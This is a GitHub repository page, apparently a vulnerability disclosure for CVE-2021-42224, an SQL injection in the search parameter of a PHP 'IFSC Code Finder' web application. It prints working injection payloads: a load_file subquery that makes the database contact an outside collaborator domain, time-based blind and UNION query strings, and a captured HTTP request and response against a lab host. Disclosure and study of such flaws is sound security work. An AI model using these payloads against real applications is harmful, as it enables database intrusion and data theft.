Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE-mitre/CVE-2021-42224/
CVE-mitre/CVE-2021-42224/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 
 
 

CVE-2021-42224

Vendor

Description:

  • vulnerability: all or nothing

SQL Injection vulnerability exists in IFSC Code Finder Project 1.0 via the searchifsccode POST parameter in /search.php. The searchifsccode parameter appears to be vulnerable to SQL injection attacks. The test payload '+(select load_file('\\bp4frncin7wvtb1vnxr1n6ngh7n0bzzq2eu1kp9.nu11secur1tycollaborator.net\ing'))+' was submitted in the searchifsccode parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. Also the parameter "searchifsccode" from search.php is XSS-Dom vulnerable plus PHPSESSID hijacking.

SQL injection Types

---
Parameter: searchifsccode (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: searchifsccode=849487'+(select load_file('\\\\bp4frncin7wvtb1vnxr1n6ngh7n0bzzq2eu1kp9.nu11secur1tycollaborator.net\\ing'))+'') AND (SELECT 1445 FROM (SELECT(SLEEP(5)))EBDq) AND ('ubep'='ubep&search=%C2%9E%C3%A9e

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: searchifsccode=849487'+(select load_file('\\\\bp4frncin7wvtb1vnxr1n6ngh7n0bzzq2eu1kp9.nu11secur1tycollaborator.net\\ing'))+'') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176766b71,0x624a5562647364654b616a684c6d546a427263576377794168415561525872414e53664d6a6e6444,0x7171786271),NULL-- -&search=%C2%9E%C3%A9e
---

Mysql Request:

POST /IFSC%20Code%20Finder%20Project%20Using%20PHP/ifscfinder/search.php HTTP/1.1
Host: 192.168.1.180
Origin: http://192.168.1.180
Cookie: PHPSESSID=jmir9unlgf2inpr758uva4ruhb
Upgrade-Insecure-Requests: 1
Referer: http://192.168.1.180/IFSC%20Code%20Finder%20Project%20Using%20PHP/ifscfinder/
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Length: 42

searchifsccode=849487'%2b(select%20load_file('%5c%5c%5c%5cbp4frncin7wvtb1vnxr1n6ngh7n0bzzq2eu1kp9.nu11secur1tycollaborator.net%5c%5cing'))%2b'&search=%C2%9E%C3%A9e

MySQL Response:

HTTP/1.1 200 OK
Date: Thu, 14 Oct 2021 07:02:37 GMT
Server: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/7.4.24
X-Powered-By: PHP/7.4.24
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 7797
Connection: close
Content-Type: text/html; charset=UTF-8

<!doctype html>
<html class="no-js" lang="en">

<head>

<!--====== Title ======-->
<title>IFSC Code Finder Portal | Home</title>

<!--====== Slick CSS ======-->
<link
...[SNIP]...

Proof:

href

Reproduce:

href